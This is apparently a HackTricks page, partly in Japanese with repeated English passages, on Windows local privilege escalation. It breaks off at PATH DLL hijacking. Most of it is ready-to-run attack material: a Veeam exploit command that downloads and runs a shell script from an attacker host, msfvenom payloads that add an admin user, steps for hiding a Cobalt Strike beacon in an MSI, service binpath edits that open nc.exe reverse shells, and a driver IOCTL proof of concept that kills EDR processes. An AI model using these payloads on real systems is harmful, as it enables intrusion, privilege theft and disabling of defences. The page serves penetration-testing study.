Windows Local Privilege Escalation

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Windows local privilege escalation vectors を探すための最適なツール: WinPEAS

Windows 基本理論

Access Tokens

Windows Access Tokens を知らない場合は、先に以下のページを読んでください：

Access Tokens

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEs に関する詳細は以下のページを確認してください：

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Windows の Integrity Levels を知らない場合は、先に以下のページを読んでください：

Integrity Levels

Windows セキュリティコントロール

Windows には、あなたがシステムを列挙するのを妨げる（prevent you from enumerating the system）、実行ファイルの実行を制限する、またはあなたの活動を検出する（detect your activities）など、さまざまな機能があります。privilege escalation enumeration を開始する前に、以下のpageをreadし、これらすべてのdefenses mechanismsをenumerateしてください：

Windows Security Controls

Admin Protection / UIAccess silent elevation

RAiLaunchAdminProcess を通じて起動される UIAccess processes は、AppInfo の secure-path チェックがバイパスされると、プロンプトなしで High IL に到達するために悪用される可能性があります。専用の UIAccess/Admin Protection bypass ワークフローは以下を確認してください：

Uiaccess Admin Protection Bypass

システム情報

バージョン情報の列挙

Windows のバージョンに既知の脆弱性があるかどうかを確認してください（適用されているパッチも確認してください）。

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

この site は、Microsoft のセキュリティ脆弱性に関する詳細情報を検索するのに便利です。 このデータベースには4,700件以上のセキュリティ脆弱性が含まれており、Windows 環境が提示する 膨大な攻撃対象領域 を示しています。

システム上

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas は watson を組み込んでいます)

ローカル（システム情報あり）

Github の exploits リポジトリ:

環境

資格情報や Juicy な情報が環境変数に保存されていますか？

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell の履歴

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell トランスクリプトファイル

これを有効にする方法は次のリンクで確認できます: https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

PowerShell のパイプライン実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、実行の完全な詳細や出力結果までは取得されない場合があります。

これを有効にするには、ドキュメントの “Transcript files” セクションの手順に従い、“Module Logging” を “Powershell Transcription” の代わりに選択してください。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Powershell ログの最後の15件のイベントを表示するには、次を実行できます:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

スクリプトの実行に関する全てのアクティビティと完全な内容が記録され、コードの各ブロックが実行時に逐一文書化されます。このプロセスにより、フォレンジックや悪意ある挙動の分析に有用な包括的な監査トレイルが保持されます。実行時点での全活動を記録することで、プロセスに関する詳細な洞察が得られます。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Script Block のログイベントは Windows Event Viewer の次のパスにあります: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
最後の20件のイベントを表示するには、次を使用できます:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

インターネット設定

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

ドライブ

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

更新が httpS ではなく http で要求される場合、システムを乗っ取ることが可能です。

まず、ネットワークが非SSLの WSUS 更新を使用しているかどうかを確認するために、cmdで次を実行します:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

または、PowerShellで次のように:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

次のような返信を受け取った場合:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.

Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.

この値が 1 の場合、悪用可能です。最後のレジストリ値が 0 の場合、WSUS のエントリは無視されます。

In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject ‘fake’ updates into non-SSL WSUS traffic.

この脆弱性を悪用するには、次のようなツールを使用できます: Wsuxploit, pyWSUS — これらは MiTM 化されたエクスプロイトスクリプトで、非SSL の WSUS トラフィックに ‘fake’ アップデートを注入します。

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Basically, this is the flaw that this bug exploits:

要するに、このバグが利用する欠陥は次のとおりです:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

ローカルユーザのプロキシを変更する権限があり、Windows Updates が Internet Explorer の設定で構成されたプロキシを使用する場合、ローカルで PyWSUS を実行して自分のトラフィックを傍受し、アセット上で昇格したユーザとしてコードを実行することが可能になります。

さらに、WSUS サービスは現在のユーザの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名用の自己署名証明書を生成し、それを現在のユーザの証明書ストアに追加すれば、HTTP と HTTPS の WSUS トラフィックの両方を傍受できます。WSUS は HSTS のような仕組みを持たず、トラスト・オン・ファースト・ユースのような証明書検証を行っていません。提示された証明書がユーザにより信頼され、ホスト名が正しければ、サービスはそれを受け入れます。

You can exploit this vulnerability using the tool WSUSpicious (once it’s liberated).

この脆弱性はツール WSUSpicious（入手可能になれば）で悪用できます。

Third-Party Auto-Updaters and Agent IPC (local privesc)

Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:

多くのエンタープライズエージェントは localhost の IPC インターフェイスと特権的なアップデートチャネルを公開しています。もし登録先を攻撃者のサーバに強制でき、アップデータが不正な root CA や弱い署名検証を信頼する場合、ローカルユーザは SYSTEM によりインストールされる悪意ある MSI を配布できます。一般化した手法（Netskope stAgentSvc チェーンに基づく – CVE-2025-0309）はこちらを参照してください:

Abusing Auto Updaters And Ipc

Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)

Veeam B&R < 11.0.1.1261 exposes a localhost service on TCP/9401 that processes attacker-controlled messages, allowing arbitrary commands as NT AUTHORITY\SYSTEM.

Veeam B&R < 11.0.1.1261 は TCP/9401 で localhost サービスを公開しており、攻撃者制御のメッセージを処理することで NT AUTHORITY\SYSTEM として任意のコマンドを実行可能にします。

  • Recon: confirm the listener and version, e.g., netstat -ano | findstr 9401 and (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion.

  • Exploit: place a PoC such as VeeamHax.exe with the required Veeam DLLs in the same directory, then trigger a SYSTEM payload over the local socket:

  • Recon: リスナーとバージョンを確認します。例: netstat -ano | findstr 9401 および (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion。

  • Exploit: VeeamHax.exe のような PoC と必要な Veeam DLL を同じディレクトリに置き、ローカルソケット経由で SYSTEM ペイロードをトリガーします:

.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""

このサービスはコマンドを SYSTEM として実行します。

KrbRelayUp

Windows domain 環境では、特定の条件下で local privilege escalation の脆弱性が存在します。これらの条件には、LDAP signing is not enforced, ユーザーが Resource-Based Constrained Delegation (RBCD) を設定できる自己権限を持っていること、及びドメイン内でコンピュータを作成できる権限が含まれます。これらの requirements は default settings のままで満たされる点に注意してください。

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated

PowerUP

Use the Write-UserAddMSI command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access):

Write-UserAddMSI

作成したバイナリを実行するだけで権限を昇格できます。

MSI Wrapper

このチュートリアルを読んで、これらのツールを使ってMSIラッパーを作成する方法を学んでください。単に コマンドラインを実行したい場合は、.bat ファイルをラップできます。

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Cobalt Strike または Metasploit を使って、C:\privesc\beacon.exe に new Windows EXE TCP payload を生成します。
  • Visual Studio を開き、Create a new project を選択して検索ボックスに「installer」と入力します。Setup Wizard プロジェクトを選択し、Next をクリックします。
  • プロジェクト名（例：AlwaysPrivesc）を付け、場所は C:\privesc を使用し、place solution and project in the same directory を選択して Create をクリックします。
  • Next をクリックして進み、ステップ 3/4（含めるファイルの選択）に到達したら、Add をクリックして先ほど生成した Beacon ペイロードを選択します。続けて Finish をクリックします。
  • Solution Explorer で AlwaysPrivesc プロジェクトを選択し、Properties で TargetPlatform を x86 から x64 に変更します。
  • Author や Manufacturer など、インストール済みアプリをより正規に見せるために変更できるプロパティがあります。
  • プロジェクトを右クリックし、View > Custom Actions を選択します。
  • Install を右クリックして Add Custom Action を選択します。
  • Application Folder をダブルクリックし、beacon.exe を選択して OK をクリックします。これにより、インストーラ実行時にビーコンペイロードが即座に実行されます。
  • Custom Action Properties で Run64Bit を True に変更します。
  • 最後に、build します。
  • File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' という警告が表示された場合は、プラットフォームが x64 に設定されていることを確認してください。

MSI Installation

悪意のある .msi ファイルの インストール を バックグラウンド で実行するには：

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

この脆弱性を悪用するには、次を使用できます: exploit/windows/local/always_install_elevated

アンチウイルスと検出

監査設定

これらの設定は何がログに記録されるかを決めるため、注意を払うべきです。

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding は、logs が送られている先を特定することが重要です

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS は、ドメインに参加しているコンピューター上のローカル Administrator パスワードの管理を目的としており、各パスワードが固有でランダム化され、定期的に更新されるようにします。これらのパスワードは Active Directory 内に安全に格納され、ACLs を通じて十分な権限が付与されたユーザーのみがアクセスでき、許可されている場合に local admin passwords を表示できます。

LAPS

WDigest

WDigest が有効な場合、平文のパスワードが LSASS (Local Security Authority Subsystem Service) に保存されます。
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Windows 8.1 以降、Microsoft は Local Security Authority (LSA) に対して強化された保護を導入しました。これにより、信頼されていないプロセスがそのメモリをread its memoryしたり inject code を行おうとする試みをblockし、システムをさらに保護します。
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard は Windows 10 で導入されました。 その目的は、デバイスに保存された認証情報を pass-the-hash 攻撃のような脅威から保護することです。| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

キャッシュされた資格情報

ドメイン資格情報はLocal Security Authority (LSA)によって認証され、オペレーティングシステムのコンポーネントによって使用されます。ユーザーのログオンデータが登録されたセキュリティパッケージによって認証されると、通常、そのユーザーのドメイン資格情報が確立されます。
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

ユーザーとグループ

ユーザーとグループの列挙

所属しているグループに、興味深い権限がないか確認してください。

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

特権グループ

もし何らかの特権グループに属している場合、権限を昇格できる可能性があります。特権グループと、それらを悪用して権限を昇格させる方法については、こちらを参照してください：

Privileged Groups

トークン操作

詳しくは このページで token が何かを確認してください: Windows Tokens.
以下のページを確認して、興味深い tokens について学び、それらを悪用する方法を学んでください：

Abusing Tokens

ログイン中のユーザー / セッション

qwinsta
klist sessions

ホームフォルダ

dir C:\Users
Get-ChildItem C:\Users

パスワードポリシー

net accounts

クリップボードの内容を取得する

powershell -command "Get-Clipboard"

実行中のプロセス

ファイルとフォルダの権限

まずプロセスを一覧表示して、プロセスの command line 内にパスワードが含まれていないかを確認します。
実行中の binary を上書きできるか、または binary のフォルダに write permissions があるかを確認して、可能なDLL Hijacking attacksを悪用できるか調べます:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

常にelectron/cef/chromium debuggers が実行されていないか確認してください。悪用して権限を昇格できる可能性があります。

プロセスのバイナリの権限を確認する

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

プロセスのバイナリのフォルダの権限を確認する (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

実行中のプロセスのメモリダンプは、sysinternals の procdump を使って作成できます。FTP のようなサービスは credentials in clear text in memory を保持していることがあるので、メモリをダンプして credentials を読み取ってみてください。

procdump.exe -accepteula -ma <proc_name_tasklist>

不安全な GUI アプリ

SYSTEM として実行されているアプリケーションは、ユーザーが CMD を起動したりディレクトリを参照したりできる可能性があります。

例: “Windows Help and Support” (Windows + F1)、“command prompt” を検索し、“Click to open Command Prompt” をクリック

サービス

Service Triggers は、特定の条件が発生したとき（named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.）に Windows がサービスを開始できるようにします。SERVICE_START 権限がなくても、トリガーを発生させることで特権サービスを起動できることがよくあります。列挙および起動手法は以下を参照してください:

Service Triggers

サービスの一覧を取得する:

net start
wmic service list brief
sc query
Get-Service

権限

サービスの情報を取得するには sc を使用できます

sc qc <service_name>

各サービスの必要な権限レベルを確認するため、Sysinternals のバイナリ accesschk を用意しておくことを推奨します。

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

“Authenticated Users” が任意のサービスを変更できるか確認することをお勧めします:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

accesschk.exe (XP用) をこちらからダウンロードできます

サービスを有効化

次のエラーが発生する場合（例: SSDPSRV）:

システム エラー 1058 が発生しました.
サービスは開始できません。無効になっているか、関連付けられた有効なデバイスがないためです.

次のコマンドを使って有効化できます

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

サービス upnphost は動作に SSDPSRV を必要とすることに注意してください (XP SP1 用)

Another workaround この問題の別の回避策は次のコマンドを実行することです:

sc.exe config usosvc start= auto

サービスのバイナリパスを変更する

サービス上で “Authenticated users” グループが SERVICE_ALL_ACCESS を持っている場合、サービスの実行可能バイナリを変更することが可能です。バイナリを変更して sc を実行するには：

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

サービスの再起動

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

権限昇格は以下のような様々なパーミッションを通じて可能です:

  • SERVICE_CHANGE_CONFIG: サービスのバイナリを再設定することを許可します。
  • WRITE_DAC: アクセス許可の再設定を可能にし、結果としてサービス設定を変更できるようになります。
  • WRITE_OWNER: 所有権の取得とアクセス許可の再設定を可能にします。
  • GENERIC_WRITE: サービス設定を変更できる権限を含みます。
  • GENERIC_ALL: 同様にサービス設定を変更できる権限を含みます。

この脆弱性の検出と悪用には exploit/windows/local/service_permissions を使用できます。

Services binaries weak permissions

サービスによって実行されるバイナリを変更できるか確認してください または、バイナリが配置されているフォルダに対して書き込み権限があるか確認してください (DLL Hijacking).
サービスによって実行されるすべてのバイナリは wmic を使って取得でき（system32内は除く）、icacls で自分の権限を確認できます:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

また sc と icacls を使用できます:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry modify permissions

サービスレジストリを変更できるか確認してください。
次のようにしてサービスレジストリに対する権限を確認できます:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Authenticated Users または NT AUTHORITY\INTERACTIVE が FullControl 権限を持っているかを確認する必要があります。もしそうであれば、サービスによって実行されるバイナリを変更できます。

実行されるバイナリのパスを変更するには:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services レジストリの AppendData/AddSubdirectory 権限

もしあるレジストリに対してこの権限を持っている場合、これはそのレジストリからサブレジストリを作成できることを意味します。Windows services の場合、これは任意のコードを実行するのに十分です：

AppendData/AddSubdirectory permission over service registry

引用符で囲まれていない Service Paths

実行可能ファイルへのパスが引用符で囲まれていない場合、Windows はスペースの前までの各候補を順に実行しようとします。

例えば、パス C:\Program Files\Some Folder\Service.exe の場合、Windows は次のように実行を試みます：

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

引用符で囲まれていないサービスパスを、Windows の組み込みサービスに属するものを除いて一覧表示する:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

この脆弱性はmetasploitを使って検出および悪用できます: exploit/windows/local/trusted\_service\_path metasploitで手動でサービスバイナリを作成できます:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

回復アクション

Windowsでは、サービスが失敗した場合に実行されるアクションをユーザーが指定できます。 この機能は特定のbinaryを指すように設定できます。もしそのbinaryを置き換え可能であれば、privilege escalationが発生する可能性があります。詳細はofficial documentationを参照してください。

アプリケーション

インストール済みアプリケーション

permissions of the binaries（maybe you can overwrite one and escalate privileges）およびfoldersの権限を確認してください（DLL Hijacking）。

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

書き込み権限

設定ファイルを変更して特定のファイルを読めるか、または Administrator アカウントで実行されるバイナリ（schedtasks）を変更できるかを確認します。

システム内の権限が緩いフォルダ／ファイルを見つける方法の一つは次の通りです:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Notepad++ plugin autoload persistence/execution

Notepad++ は plugins サブフォルダ下の任意の plugin DLL を自動的に読み込みます。書き込み可能な portable/copy インストールが存在する場合、マルicious な plugin を配置すると、notepad++.exe の内部で自動的にコードが実行され、起動時に（DllMain や plugin callbacks を含む）毎回実行されます。

Notepad Plus Plus Plugin Autoload Persistence

Run at startup

別のユーザによって実行されるレジストリやバイナリを上書きできないか確認してください。
読んで 以下のページ を参照して、興味深い autoruns locations to escalate privileges について詳しく学んでください：

Privilege Escalation with Autoruns

Drivers

可能性のある サードパーティ製の不審/脆弱な ドライバを探してください

driverquery
driverquery.exe /fo table
driverquery /SI

If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:

Arbitrary Kernel Rw Token Theft

For race-condition bugs where the vulnerable call opens an attacker-controlled Object Manager path, deliberately slowing the lookup (using max-length components or deep directory chains) can stretch the window from microseconds to tens of microseconds:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

Modern hive vulnerabilities let you groom deterministic layouts, abuse writable HKLM/HKU descendants, and convert metadata corruption into kernel paged-pool overflows without a custom driver. Learn the full chain here:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

Some signed third‑party drivers create their device object with a strong SDDL via IoCreateDeviceSecure but forget to set FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Without this flag, the secure DACL is not enforced when the device is opened through a path containing an extra component, letting any unprivileged user obtain a handle by using a namespace path like:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Once a user can open the device, privileged IOCTLs exposed by the driver can be abused for LPE and tampering. Example capabilities observed in the wild:

  • Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
  • Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.

Minimal PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

開発者向けの緩和策

  • DACLで制限する想定のデバイスオブジェクトを作成する際は、常に FILE_DEVICE_SECURE_OPEN を設定する。
  • 特権操作では呼び出し元のコンテキストを検証する。プロセス終了やハンドル返却を許可する前に PP/PPL チェックを追加する。
  • IOCTLs（access masks、METHOD_*、入力検証）を制限し、直接的なカーネル権限を付与する代わりにブローカー型モデルを検討する。

検出アイデア（ディフェンダー向け）

  • 疑わしいデバイス名（例: \ .\amsdk*）への user-mode のオープンや、悪用を示す特定の IOCTL シーケンスを監視する。
  • Microsoft の vulnerable driver blocklist（HVCI/WDAC/Smart App Control）を適用し、独自の allow/deny lists を維持する。

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions of all folders inside PATH:

